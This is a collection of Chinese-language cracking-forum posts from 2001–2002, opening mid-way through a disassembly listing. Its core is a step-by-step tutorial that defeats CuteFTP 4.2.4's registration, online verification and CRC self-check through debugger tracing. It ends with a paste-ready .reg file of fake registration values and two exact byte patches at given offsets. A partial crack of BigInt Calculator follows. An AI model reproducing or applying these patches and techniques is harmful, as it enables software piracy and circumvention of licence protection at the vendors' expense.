* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040701A(C)
|
:00407027 56 push esi
:00407028 57 push edi
:00407029 53 push ebx
:0040702A 8BD8 mov ebx, eax

* Possible StringData Ref from Data Obj ->"y+m+d:氩擡E鷘>鮾z貔硭楢傰�?g?ydN"
->"?4儉|w桏踑翛X??恂v?g<鐷絏i寔獝\熙R蘒?"
->"Q絺 鐇篂蛐睷v薚-澐８?窖滯jY鐇鶡8氾N?崭楳0%?
->"1雉鄇y鸡?鯀L5桦�羂翎琑n.鏛L.ez>,)yq1結wu%?
->" <錇YL盻眢胁"
|
:0040702C BECBC24100 mov esi, 0041C2CB
:00407031 8DBBCBC24100 lea edi, dword ptr [ebx+0041C2CB]
:00407037 33D2 xor edx, edx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407044(U)
|
:00407039 3BF7 cmp esi, edi
:0040703B 7309 jnb 00407046
:0040703D AD lodsd
:0040703E 83F800 cmp eax, 00000000
:00407041 7501 jne 00407044
:00407043 42 inc edx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407041(C)
|
:00407044 EBF3 jmp 00407039

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040703B(C)
|
:00407046 C1E202 shl edx, 02
:00407049 8B82E0364A00 mov eax, dword ptr [edx+004A36E0]
:0040704F A39C364A00 mov dword ptr [004A369C], eax
:00407054 8B83CBC24100 mov eax, dword ptr [ebx+0041C2CB]
:0040705A 3504839278 xor eax, 78928304
:0040705F 6A00 push 00000000
:00407061 50 push eax
:00407062 FF359C364A00 push dword ptr [004A369C]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004071A7(U)
|
:00407068 8B3424 mov esi, dword ptr [esp]
:0040706B 66813E4D5A cmp word ptr [esi], 5A4D
:00407070 7571 jne 004070E3
:00407072 90 nop
:00407073 90 nop
:00407074 90 nop
:00407075 90 nop
:00407076 8BD6 mov edx, esi
:00407078 03563C add edx, dword ptr [esi+3C]
:0040707B 813A50450000 cmp dword ptr [edx], 00004550
:00407081 7560 jne 004070E3
:00407083 8B5278 mov edx, dword ptr [edx+78]
:00407086 03D6 add edx, esi
:00407088 8B4A18 mov ecx, dword ptr [edx+18]
:0040708B 8B5A20 mov ebx, dword ptr [edx+20]
:0040708E 03DE add ebx, esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004070AC(C)
|
:00407090 8B7C8BFC mov edi, dword ptr [ebx+4*ecx-04]
:00407094 03FE add edi, esi
:00407096 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004070A3(U)
|
:00407098 803F00 cmp byte ptr [edi], 00
:0040709B 7408 je 004070A5
:0040709D 3207 xor al, byte ptr [edi]
:0040709F C1C004 rol eax, 04
:004070A2 47 inc edi
:004070A3 EBF3 jmp 00407098

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040709B(C)
|
:004070A5 3B442404 cmp eax, dword ptr [esp+04]
:004070A9 7405 je 004070B0
:004070AB 49 dec ecx
:004070AC 75E2 jne 00407090
:004070AE EB33 jmp 004070E3

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004070A9(C)
|
:004070B0 8B4224 mov eax, dword ptr [edx+24]
:004070B3 03C6 add eax, esi
:004070B5 0FB74448FE movzx eax, word ptr [eax+2*ecx-02]
:004070BA 8B521C mov edx, dword ptr [edx+1C]
:004070BD 03D6 add edx, esi
:004070BF 8B0482 mov eax, dword ptr [edx+4*eax]
:004070C2 8BD6 mov edx, esi
:004070C4 03563C add edx, dword ptr [esi+3C]
:004070C7 3B4278 cmp eax, dword ptr [edx+78]
:004070CA 7211 jb 004070DD
:004070CC 8B5A78 mov ebx, dword ptr [edx+78]
:004070CF 035A7C add ebx, dword ptr [edx+7C]
:004070D2 3BC3 cmp eax, ebx
:004070D4 7707 ja 004070DD
:004070D6 03C6 add eax, esi
:004070D8 33C9 xor ecx, ecx
:004070DA 41 inc ecx
:004070DB EB08 jmp 004070E5

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004070CA(C), :004070D4(C)
|
:004070DD 03C6 add eax, esi
:004070DF 33C9 xor ecx, ecx
:004070E1 EB02 jmp 004070E5

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00407070(C), :00407081(C), :004070AE(U)
|
:004070E3 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004070DB(U), :004070E1(U)
|
:004070E5 83C40C add esp, 0000000C
:004070E8 837C24FC00 cmp dword ptr [esp-04], 00000000
:004070ED 7404 je 004070F3
:004070EF FF6424FC jmp [esp-04]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004070ED(C)
|
:004070F3 83F800 cmp eax, 00000000
:004070F6 7517 jne 0040710F
:004070F8 6A00 push 00000000
:004070FA 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"GetProc error"
|
:004070FC 68DDC44100 push 0041C4DD
:00407101 6A00 push 00000000

* Reference To: USER32.MessageBoxA, Ord:0000h
|
:00407103 E89E5C0000 Call 0040CDA6
:00407108 6A00 push 00000000

* Reference To: KERNEL32.ExitProcess, Ord:0000h
|
:0040710A E84B5D0000 Call 0040CE5A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004070F6(C)
|
:0040710F 83F901 cmp ecx, 00000001
:00407112 0F85B9000000 jne 004071D1
:00407118 8B1D04C54100 mov ebx, dword ptr [0041C504]
:0040711E C1E308 shl ebx, 08
:00407121 81C36A184E00 add ebx, 004E186A
:00407127 FF0D04C54100 dec dword ptr [0041C504]
:0040712D 750A jne 00407139

* Possible Reference to Dialog: DialogID_000F
|
:0040712F C70504C541000F000000 mov dword ptr [0041C504], 0000000F

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040712D(C), :004071CB(C)
|
:00407139 8D7B08 lea edi, dword ptr [ebx+08]
:0040713C 8BF0 mov esi, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407144(U)
|
:0040713E AC lodsb
:0040713F 3C2E cmp al, 2E
:00407141 7403 je 00407146
:00407143 AA stosb
:00407144 EBF8 jmp 0040713E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407141(C)
|
:00407146 C60700 mov byte ptr [edi], 00
:00407149 33C9 xor ecx, ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407155(U)
|
:0040714B AC lodsb
:0040714C 3C00 cmp al, 00
:0040714E 7407 je 00407157
:00407150 32C8 xor cl, al
:00407152 C1C104 rol ecx, 04
:00407155 EBF4 jmp 0040714B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040714E(C)
|
:00407157 890B mov dword ptr [ebx], ecx
:00407159 8D4308 lea eax, dword ptr [ebx+08]
:0040715C 50 push eax

* Reference To: KERNEL32.LoadLibraryA, Ord:0000h
|
:0040715D E8C25C0000 Call 0040CE24
:00407162 83F800 cmp eax, 00000000
:00407165 7517 jne 0040717E
:00407167 6A00 push 00000000
:00407169 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"LoadLibrary error"
|
:0040716B 68CBC44100 push 0041C4CB
:00407170 6A00 push 00000000

* Reference To: USER32.MessageBoxA, Ord:0000h
|
:00407172 E82F5C0000 Call 0040CDA6
:00407177 6A00 push 00000000

* Reference To: KERNEL32.ExitProcess, Ord:0000h
|
:00407179 E8DC5C0000 Call 0040CE5A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407165(C)
|
:0040717E 894304 mov dword ptr [ebx+04], eax
:00407181 BEE0364A00 mov esi, 004A36E0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040718F(C)
|
:00407186 AD lodsd
:00407187 83F800 cmp eax, 00000000
:0040718A 740D je 00407199
:0040718C 3B4304 cmp eax, dword ptr [ebx+04]
:0040718F 75F5 jne 00407186
:00407191 FF7304 push [ebx+04]

* Reference To: KERNEL32.FreeLibrary, Ord:0000h
|
:00407194 E8D35C0000 Call 0040CE6C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040718A(C)
|
:00407199 8B4304 mov eax, dword ptr [ebx+04]
:0040719C 8946FC mov dword ptr [esi-04], eax
:0040719F 68AC714000 push 004071AC
:004071A4 FF33 push dword ptr [ebx]
:004071A6 50 push eax
:004071A7 E9BCFEFFFF jmp 00407068
:004071AC 83F800 cmp eax, 00000000
:004071AF 7517 jne 004071C8
:004071B1 6A00 push 00000000
:004071B3 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"Redirected GetProc error"
|
:004071B5 68EBC44100 push 0041C4EB
:004071BA 6A00 push 00000000

* Reference To: USER32.MessageBoxA, Ord:0000h
|
:004071BC E8E55B0000 Call 0040CDA6
:004071C1 6A00 push 00000000

* Reference To: KERNEL32.ExitProcess, Ord:0000h
|
:004071C3 E8925C0000 Call 0040CE5A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004071AF(C)
|
:004071C8 83F901 cmp ecx, 00000001
:004071CB 0F8468FFFFFF je 00407139

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00407112(C)
|
:004071D1 5B pop ebx
:004071D2 5F pop edi
:004071D3 5E pop esi
:004071D4 FFE0 jmp eax

动态跟踪几次得知，程序动态取得window api的地址，放到eax中，最后是jmp eax跳向那里，怎么样，是不是有点爽？重新看过上面主线中的代码：

:004077A5 6A00 push 00000000
push 0

:004077A7 50 push eax
[eax]="registration error", messageboxa的参数，标题

:004077A8 56 push esi
[esi]="Your account is not valid..", 内容

:004077A9 FF7508 push [ebp+08]
句柄

:004077AC 6A5C push 0000005C
这个参数其实是决定了该调用什么api，因为在call之中用它来取得api的地址，在这里5c=messageboxa

:004077AE E85DF8FFFF call 00407010

* Possib


CuteFTP V4.2.4

 标 题:CuteFTP最新版V4.2.4 在线注册的破解 (10千字)
发信人:moonlite
时 间:2001-9-27 10:54:11
详细信息:
CuteFTP最新版V4.2.4 在线注册的破解

破解者：moonlite[BCG][FCG]
目标： CuteFTP最新版V4.2.4
应用平台：Win9X/ME/WinNT/2K
下载：http://www.globalscape.com/
大小：1694k
软件用途： 当然是最cool的FTP客户端软件了，不用再多说了吧。

工具：TRW1.22，W32dasm, filemon, regmon, Winhex
保护： 每次启动都弹出注册窗，提示上网注册; 30 天试用期；动态CRC校验。

【前言】： xy2000[BCG]老兄推荐的软件，就拿它练练手吧. 我很喜欢这个软件的原因有三：
㈠. 没加壳；㈡. 没有反调试；
㈢. CRC的出错信息中体现了对crack们的尊重：请看

┼————————————————————————————————
CuteFTP consistency check failed. This means that you are probably using a corrupted version. This
may caused by a virus. Please, do a virus scan, reinstall CuteFTP and try to start it again.
——————————————————————————————————┼

它不象有些软件，你一调试，它就说 "Hmm...Debug yourself".

                                                              ===>好，开始工作吧!◆

★(第一部分)找注册码

1)启动cutftp32.exe,提示在线注册nag窗口弹出。分析它的注册信息一定存放在注册表中，或有keyfile保护。

2)分别启动filemon和regmon分析：

发现以下可疑点→

AUTONAME.DAT, COMMANDS.DAT-------->调用到的文件

QueryValueEx HKLM\Software\GlobalSCAPE Inc.\CuteFTP\Key2 NOTFOUND

QueryValueEx HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId SUCCESS "80123-026-6304672-53376"
CloseKey HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion SUCCESS
OpenKey HKCR\Rl NOTFOUND ※※※※
OpenKey HKLM\Software\GlobalSCAPE Inc.\CuteFTP SUCCESS hKey: 0xC2A0E050
QueryValueEx HKLM\Software\GlobalSCAPE Inc.\CuteFTP\Key1 NOTFOUND

3)我尝试了建Key1 和 Key2两个键值，没有发现效果。就在HKCR\下建了个Rl\1, 随便输入字符串 "23232323232323".

  [HKEY_LOCAL_MACHINE\Software\GlobalSCAPE Inc.\CuteFTP]下建"RegUserName"="moonLite[BCG]"

4)再次运行cutftp32.exe，在线注册窗口弹出。唤出TRW，点击按钮 "Contiue Trial" 并Ctrl+D 激活TRW。程序来到--->

* Reference To: USER32.GetMessageA, Ord:012Ah
|
:004DD7E4 FF1594D75100 Call dword ptr [0051D794]
:004DD7EA 85C0 test eax, eax<-------------------------光标在这！
:004DD7EC 7426 je 004DD814
:004DD7EE 817E346A030000 cmp dword ptr [esi+34], 0000036A
:004DD7F5 741A je 004DD811
:004DD7F7 8B06 mov eax, dword ptr [esi]
:004DD7F9 57 push edi
:004DD7FA 8BCE mov ecx, esi
:004DD7FC FF5058 call [eax+58]
:004DD7FF 85C0 test eax, ea
:004DD801 750E jne 004DD811
:004DD803 57 push edi

开始按F12+F10， 记录下来可疑的跳转：4D8249,43B873.

:0043B849 68F4235500 push 005523F4
:0043B84E 8BCB mov ecx, ebx
:0043B850 E82CB70B00 call 004F6F81
:0043B855 8983DC000000 mov dword ptr [ebx+000000DC], eax
:0043B85B B801000000 mov eax, 00000001
:0043B860 898344060000 mov dword ptr [ebx+00000644], eax
:0043B866 898380060000 mov dword ptr [ebx+00000680], eax
:0043B86C E8FF4F0500 call 00490870------------------------->进入
:0043B871 85C0 test eax, eax-------------------------|这里，让eax=1 可以跳过nag！
:0043B873 753D jne 0043B8B2
:0043B875 33F6 xor esi, esi
:0043B877 8BCB mov ecx, ebx
:0043B879 56 push esi

* Possible StringData Ref from Data Obj ->"TSUninstaller"
|
:0043B87A 68DC465500 push 005546DC

* Possible StringData Ref from Data Obj ->"CtFPRgsraeoe"
|
:0043B87F 68F4235500 push 005523F4
:0043B884 E85B890A00 call 004E41E4
:0043B889 89B380060000 mov dword ptr [ebx+00000680], esi
:0043B88F 6A01 push 00000001
:0043B891 8BCB mov ecx, ebx
:0043B893 89B388060000 mov dword ptr [ebx+00000688], esi
:0043B899 E812130000 call 0043CBB0
:0043B89E 8BCB mov ecx, ebx
:0043B8A0 E87B0A0000 call 0043C320-------------------------|在线注册窗口
:0043B8A5 85C0 test eax, eax
:0043B8A7 751E jne 0043B8C7
:0043B8A9 56 push esi

可见，0043B86C的CALL 有问题，得进去看看！

5)

* Referenced by a CALL at Addresses:
|:004013FA , :004300A8 , :004346DB , :0043B86C , :0044045B
|:004459D9 , :004476A3 , :00457F8F , :0047D15E , :0047D8FE
|:0048B82F , :0048C470 , :00491F79 , :004ACB68
|
:00490870 64A100000000 mov eax, dword ptr fs:[00000000]

* Possible Reference to String Resource ID=00255: "No entry for the current site found. Do you wish to create o"
|
:00490876 6AFF push FFFFFFFF
:00490878 68D34F5100 push 00514FD3
:0049087D 50 push eax
:0049087E B81C180000 mov eax, 0000181C
:00490883 64892500000000 mov dword ptr fs:[00000000], esp
:0049088A E801130300 call 004C1B90
:0049088F 53 push ebx
:00490890 8D8424680C0000 lea eax, dword ptr [esp+00000C68]
:00490897 56 push esi
:00490898 50 push eax
:00490899 E882F9FFFF call 00490220
:0049089E 83C404 add esp, 00000004
:004908A1 85C0 test eax, eax
:004908A3 7517 jne 004908BC
:004908A5 5E pop esi
:004908A6 5B pop ebx
:004908A7 8B8C241C180000 mov ecx, dword ptr [esp+0000181C]
:004908AE 64890D00000000 mov dword ptr fs:[00000000], ecx
:004908B5 81C428180000 add esp, 00001828
:004908BB C3 ret

-->不断按F10，会来到：

:004908E7 83C40C add esp, 0000000C
:004908EA 85C0 test eax, eax
:004908EC 5F pop edi
:004908ED 0F857A020000 jne 00490B6D
:004908F3 8A84249C040000 mov al, byte ptr [esp+0000049C]---------------|从“23232323232323”取一个字符
:004908FA 84C0 test al, al
:004908FC 0F84C1020000 je 00490BC3
:00490902 8D8C249C040000 lea ecx, dword ptr [esp+0000049C]---------------|ecx指向“23232323232323”字符串
:00490909 8D542418 lea edx, dword ptr [esp+18]
:0049090D 51 push ecx
:0049090E 52 push edx
:0049090F C7442420FFFFFF7F mov [esp+20], 7FFFFFFF
:00490917 E824690200 call 004B7240--------------->注意到紧跟的判断，得追进去
:0049091C 83C408 add esp, 00000008
:0049091F 6685C0 test ax, ax---------------|ax不为0，就能成功了！
:00490922 7519 jne 0049093D---------------|不跳转则失败！
:00490924 5E pop esi
:00490925 33C0 xor eax, eax---------------|eax为注册标志
:00490927 5B pop ebx
:00490928 8B8C241C180000 mov ecx, dword ptr [esp+0000181C]
:0049092F 64890D00000000 mov dword ptr fs:[00000000], ecx
:00490936 81C428180000 add esp, 00001828
:0049093C C3 ret

--------------------

* Referenced by a CALL at Addresses:
|:00490917 , :00490BA2 , :004915A6
|
:004B7240 83EC20 sub esp, 00000020--------------------------------------------|
:004B7243 83C9FF or ecx, FFFFFFFF |
:004B7246 33C0 xor eax, eax |
:004B7248 56 push esi |
:004B7249 8B74242C mov esi, dword ptr [esp+2C]/指向从“23232323232323”字符串 |计算字符串长度
:004B724D 57 push edi |
:004B724E 8BFE mov edi, esi |
:004B7250 F2 repnz |
:004B7251 AE scasb |
:004B7252 F7D1 not ecx |
:004B7254 49 dec ecx -----------------------------------------------------|
:004B7255 83F90E cmp ecx, 0000000E--------------------|长度不是14位，就不带玩了！
:004B7258 7573 jne 004B72CD-------------------------|不要在此跳啊！
:004B725A 56 push esi
:004B725B E863E10000 call 004C53C3

............

接着走到
:004B728C C644242800 mov [esp+28], 00
:004B7291 E86A20FEFF call 00499300
:004B7296 8D442438 lea eax, dword ptr [esp+38]-------------------|下 d eax 看看

* Possible Reference to String Resource ID=00014: "Paste Url"
|
:004B729A 6A0E push 0000000E
:004B729C 8D4C242C lea ecx, dword ptr [esp+2C]-------------------|下 d ecx 可以看到精彩部分啊！

============================================================================

0030:0071DAE4 41 32 32 32 32 32 32 32-32 32 32 32 32 32 00 C2 A2222222222222.?
0030:0071DAF4 32 33 32 33 32 33 32 33-32 33 32 33 32 33 00 00 23232323232323..

============================================================================

:004B72A0 50 push eax
:004B72A1 51 push ecx
:004B72A2 E879C90000 call 004C3C20-------------------|关键的比较部分！（不想列出了,否则篇幅太长了）
:004B72A7 83C42C add esp, 0000002C
:004B72AA 85C0 test eax, eax-------------------|eax=0 就对了！eax=1,则失败
:004B72AC 7510 jne 004B72BE--------------------|eax=1,则做失败跳转
:004B72AE 8B54242C mov edx, dword ptr [esp+2C]
:004B72B2 660DFFFF or ax, FFFF
:004B72B6 893A mov dword ptr [edx], edi
:004B72B8 5F pop edi
:004B72B9 5E pop esi
:004B72BA 83C420 add esp, 00000020
:004B72BD C3 ret

▲试着将[HKEY_CLASSES_ROOT\Rl]\1 的键值改为"A2222222222222",重新运行程序--哇! nag 窗口没有了!!但是在about窗口中是
Licensed to: UNVERIFIED - moonLite [BCG], 难道还要上网验证吗？

5)果然，上网后，启动程序后，自动与它的服务器连接并验证，返回 “moonLite[BCG] & A2222222222222” not accepted....真厉害!
——>看来只有爆破了。

〓 待续 〓

标 题:感谢click123！这是我重新写的：CuteFTP最新版V4.2.4 在线注册的破解-下篇 (13千字)
发信人:moonlite
时 间:2001-10-12 11:42:58
详细信息:

〓 CuteFTP最新版V4.2.4 在线注册的破解-下篇〓

★(第二部分)爆破

6) 在HKCR\下再建个Rl\3 (为什么呢，用regmon查查便知), 随便输入字符串 "123456789".在4B72AA下断点，bpx 4B72AA,运行
cutftp32.exe，中断后接着走到：

:00490C29 FF15B4D25100 Call dword ptr [0051D2B4]
:00490C2F 50 push eax

* Reference To: KERNEL32.LockResource, Ord:01D5h
|
:00490C30 FF15B8D25100 Call dword ptr [0051D2B8]
:00490C36 8D8C2484080000 lea ecx, dword ptr [esp+00000884]--------------->ecx指向字符串“123456789”
:00490C3D 50 push eax
:00490C3E 51 push ecx
:00490C3F 8D94245C100000 lea edx, dword ptr [esp+0000105C]
:00490C46 56 push esi
:00490C47 52 push edx
:00490C48 E8C32E0100 call 004A3B10---------------|重要的CALL，进入-->
:00490C4D 83C410 add esp, 00000010
:00490C50 8D4C240C lea ecx, dword ptr [esp+0C]
:00490C54 8BF0 mov esi, eax------------------------------------┐
:00490C56 C784242C180000FFFFFFFF mov dword ptr [esp+0000182C], FFFFFFFF │
:00490C61 E88AB90400 call 004DC5F0 │eax=esi=1 就对了！
:00490C66 8B8C2424180000 mov ecx, dword ptr [esp+00001824] │
:00490C6D 8BC6 mov eax, esi------------------------------------┘
:00490C6F 5E pop esi
:00490C70 5B pop ebx
:00490C71 64890D00000000 mov dword ptr fs:[00000000], ecx
:00490C78 81C428180000 add esp, 00001828
:00490C7E C3 ret

* Referenced by a CALL at Address:
|:00490C48
|

* Possible Reference to String Resource ID=00255: "No entry for the current site found. Do you wish to create o"
|
:004A3B10 6AFF push FFFFFFFF
:004A3B12 682D6A5100 push 00516A2D
:004A3B17 64A100000000 mov eax, dword ptr fs:[00000000]
:004A3B1D 50 push eax
:004A3B1E 64892500000000 mov dword ptr fs:[00000000], esp
:004A3B25 81ECB0000000 sub esp, 000000B0
:004A3B2B 56 push esi
:004A3B2C 57 push edi
:004A3B2D 6A00 push 00000000
:004A3B2F 8D4C240C lea ecx, dword ptr [esp+0C]
:004A3B33 E8982A0100 call 004B65D0
:004A3B38 6A00 push 00000000

...............

* Possible Reference to String Resource ID=00008: "Toolbar changes will take effect after CuteFTP is restarted"
|
:004A3C1A B908000000 mov ecx, 00000008—————————————>置循环次数
:004A3C1F 8D7C2430 lea edi, dword ptr [esp+30]————————>指向一个不变的十六进制串 (值得研究)
:004A3C23 8D742470 lea esi, dword ptr [esp+70]————————>指向的十六进制串与输入字符串 "123456789"相关
:004A3C27 33C0 xor eax, eax
:004A3C29 F3 repz
:004A3C2A A7 cmpsd-------------------|DWORD值循环比较！
:004A3C2B 5F pop edi
:004A3C2C 5E pop esi
:004A3C2D 745E je 004A3C8D-------------------|在此一定得跳呵，这可是最后的机会了--->修改①★
:004A3C2F 8D4C2418 lea ecx, dword ptr [esp+18]
:004A3C33 C68424B800000005 mov byte ptr [esp+000000B8], 05
:004A3C3B E8402A0100 call 004B6680

7) 用Winhex把上面的第一处改为 745E-->EB5E.重新运行程序，CRC 报错 “CuteFTP consistency check failed...”
好！ 打开我们的利器W32dasm, 反汇编cutftp32.exe后，search 文本“check failed", 来到-->

* Possible Reference to Dialog: DialogID_0181
|
:0043BC50 6881010000 push 00000181
:0043BC55 6A00 push 00000000
:0043BC57 6A00 push 00000000
:0043BC59 8B481C mov ecx, dword ptr [eax+1C]
:0043BC5C 51 push ecx

* Reference To: USER32.RedrawWindow, Ord:01F1h
|
:0043BC5D FF1544D65100 Call dword ptr [0051D644]
:0043BC63 C7835006000001000000 mov dword ptr [ebx+00000650], 00000001
:0043BC6D E81E510500 call 00490D90—————————————>进入-------------------------------------->|
:0043BC72 85C0 test eax, eax—————————————>eax≠0，即可跳过CRC错误!! |
:0043BC74 756F jne 0043BCE5 |
:0043BC76 8D55EC lea edx, dword ptr [ebp-14] |
|
* Possible Reference to String Resource ID=00426: "CuteFTP consistency check failed. This means that you are pr" |
| |
:0043BC79 68AA010000 push 000001AA |
:0043BC7E 52 push edx |
:0043BC7F E8CC97FEFF call 00425450 |
:0043BC84 83C408 add esp, 00000008 |
:0043BC87 8B00 mov eax, dword ptr [eax] |
:0043BC89 6A00 push 00000000 |
|
* Possible Reference to String Resource ID=00016: "CuteFTP 4.0" |
| | |
:0043BC8B 6A10 push 00000010 |
:0043BC8D 50 push eax |
:0043BC8E C645FC2A mov [ebp-04], 2A |
:0043BC92 E8ECC70A00 call 004E8483—————————————> CRC 出错的CALL! |
|
---------------------------------------- |
|
* Referenced by a CALL at Addresses: |
|:0043BC6D , :004650FB |
| |
|
* Possible Reference to String Resource ID=00255: "No entry for the current site found. Do you wish to create o" |
: | |
:00490D90 6AFF push FFFFFFFF <------------------------------------------------------------------|
:00490D92 6831505100 push 00515031
:00490D97 64A100000000 mov eax, dword ptr fs:[00000000]
:00490D9D 50 push eax
:00490D9E 64892500000000 mov dword ptr fs:[00000000], esp
:00490DA5 81EC24010000 sub esp, 00000124
:00490DAB 8D4C2408 lea ecx, dword ptr [esp+08]
:00490DAF E863CA0400 call 004DD817
:00490DB4 8D442420 lea eax, dword ptr [esp+20]

* Possible Reference to String Resource ID=00260: "Rename folder"
|
:00490DB8 6804010000 push 00000104
:00490DBD 50 push eax
:00490DBE 6A00 push 00000000
:00490DC0 C784243801000000000000 mov dword ptr [esp+00000138], 00000000

* Reference To: KERNEL32.GetModuleFileNameA, Ord:0124h
|
:00490DCB FF1540D45100 Call dword ptr [0051D440]
:00490DD1 6A00 push 00000000
:00490DD3 8D4C2424 lea ecx, dword ptr [esp+24]
:00490DD7 6A40 push 00000040
:00490DD9 51 push ecx
:00490DDA 8D4C2414 lea ecx, dword ptr [esp+14]
:00490DDE E8E6CB0400 call 004DD9C9
:00490DE3 85C0 test eax, eax
:00490DE5 0F858E000000 jne 00490E79—————————>程序会跳到——->|
:00490DEB 8D542400 lea edx, dword ptr [esp] |
|
------------- |
|
* Referenced by a (U)nconditional or (C)onditional Jump at Address: |
|:00490DE5(C) |
| |
:00490E79 8D442418 lea eax, dword ptr [esp+18]<-----------------|
:00490E7D 8D4C2408 lea ecx, dword ptr [esp+08]
:00490E81 50 push eax
:00490E82 51 push ecx
:00490E83 E858FEFFFF call 00490CE0
:00490E88 83C408 add esp, 00000008
:00490E8B 8D4C2408 lea ecx, dword ptr [esp+08]
:00490E8F E850CD0400 call 004DDBE4
:00490E94 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00490EA2(C)
|
:00490E96 8A4C0418 mov cl, byte ptr [esp+eax+18]
:00490E9A 84C9 test cl, cl------->cl 是验证CRC 出错与否的标志! !!!修改②★★
:00490E9C 7508 jne 00490EA6------------------------------->在这不要跳!
:00490E9E 40 inc eax
:00490E9F 83F808 cmp eax, 00000008-------------------------->循环8次
:00490EA2 7CF2 jl 00490E96
:00490EA4 EBA5 jmp 00490E4B------------------------------->|
|
* Referenced by a (U)nconditional or (C)onditional Jump at Address: |
|:00490E9C(C) |
| |
:00490EA6 8D4C2408 lea ecx, dword ptr [esp+08] |
:00490EAA C784242C010000FFFFFFFF mov dword ptr [esp+0000012C], FFFFFFFF |
:00490EB5 E852CA0400 call 004DD90C |
:00490EBA 8B8C2424010000 mov ecx, dword ptr [esp+00000124] |
:00490EC1 33C0 xor eax, eax |
:00490EC3 64890D00000000 mov dword ptr fs:[00000000], ecx |
:00490ECA 81C430010000 add esp, 00000130 |
:00490ED0 C3 ret |
|
--------------- |
* Referenced by a (U)nconditional or (C)onditional Jump at Address: |
|:00490EA4(U) |
| |
:00490E4B 8D4C2408 lea ecx, dword ptr [esp+08]<----------------|
:00490E4F C784242C010000FFFFFFFF mov dword ptr [esp+0000012C], FFFFFFFF
:00490E5A E8ADCA0400 call 004DD90C
:00490E5F B801000000 mov eax, 00000001---------------------------|这是我们想要的结果!
:00490E64 8B8C2424010000 mov ecx, dword ptr [esp+00000124]
:00490E6B 64890D00000000 mov dword ptr fs:[00000000], ecx
:00490E72 81C430010000 add esp, 00000130
:00490E78 C3 ret---------------------------------------->CRC OK了!返回吧。。。

-------------------

打开Winhex将上面的第二处 84C9 test cl, cl改为 30C9 xor cl,cl!
重新运行程序,CRC OK!
查看about窗口，UNVERIFIED 也不见了！！在线验证OK!

###########
最后整理：
注册文件为(粘贴并保存为reg注册表文件)

┄┄┄┄┄┄┄┄┄┄┄Cut Here┄┄┄┄┄┄┄┄┄┄┄
REGEDIT4

[HKEY_CLASSES_ROOT\Rl]
"1"="A2222222222222"
"3"="123456789"

[HKEY_LOCAL_MACHINE\Software\GlobalSCAPE Inc.\CuteFTP]
"RegUserName"="moonLite[BCG]"

┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄

再打补丁两处：

修改①　　　　　　@offset A3C2D 745E-->EB5E
修改②　　　　　　@offset 90E9A 84C9-->30C9

##########

【后记】：虽然注册+爆破成功了，还有很多地方值得好好研究。例如：regmon看到的Key1是注册码部分，
那么Key2呢？(VERIFY？)。也难怪，这是个在线注册的软件。看一下它的注册帮助就知道了。
愿与朋友们交流！！

moonlite 于2001-10-12


BigInt Calculator 1.0

 标 题:破解一个CCG的软件，改半字节！ (6千字)
发信人:购物狂
时 间:2002-1-27 15:31:19
详细信息:
URL http://www.h108.com/stkman/soft/calcpro.zip 专业版1.0

作者：stkman[CCG] & arbiter[CCG]

简述：BigInt Calculator 是一个支持超大整数运算的计算器,可以对长度最多达10000位10进制的数据进行运算。
它不但支持普通的四则混合运算,而且具有位操作和表达式运算功能,计算器本身提供了21个存贮单元可供
保存运算的中间结果,在表达式中可以引用这些存储单元。
BigInt Calculator的一个显著优点是软件体积小，可执行文件不足50K，纯绿色软件，不修改注册表。

upx加的壳，脱壳很简单。

注册文件为calcpro.key，如内容不对会退出。

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
:00402C5E A0294F4100 mov al, byte ptr [00414F29]<==============比较重要！
:00402C63 84C0 test al, al
:00402C65 7516 jne 00402C7D
:00402C67 6810100000 push 00001010

* Possible StringData Ref from Data Obj ->"Warning"
|
:00402C6C 682C294100 push 0041292C

* Possible StringData Ref from Data Obj ->"THANK YOU FOR TRYING BIGINT CALCULATOR! "
->"This is a unregistered version,If "
->"you like it,please register it,Thanks. "
->" "
|
:00402C71 68C8294100 push 004129C8
:00402C76 52 push edx

* Reference To: USER32.MessageBoxA, Ord:0000h
|
:00402C77 FF15F0104100 Call dword ptr [004110F0]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
:004030DC A0294F4100 mov al, byte ptr [00414F29]<==============比较重要！
:004030E1 84C0 test al, al
:004030E3 742D je 00403112
:004030E5 57 push edi
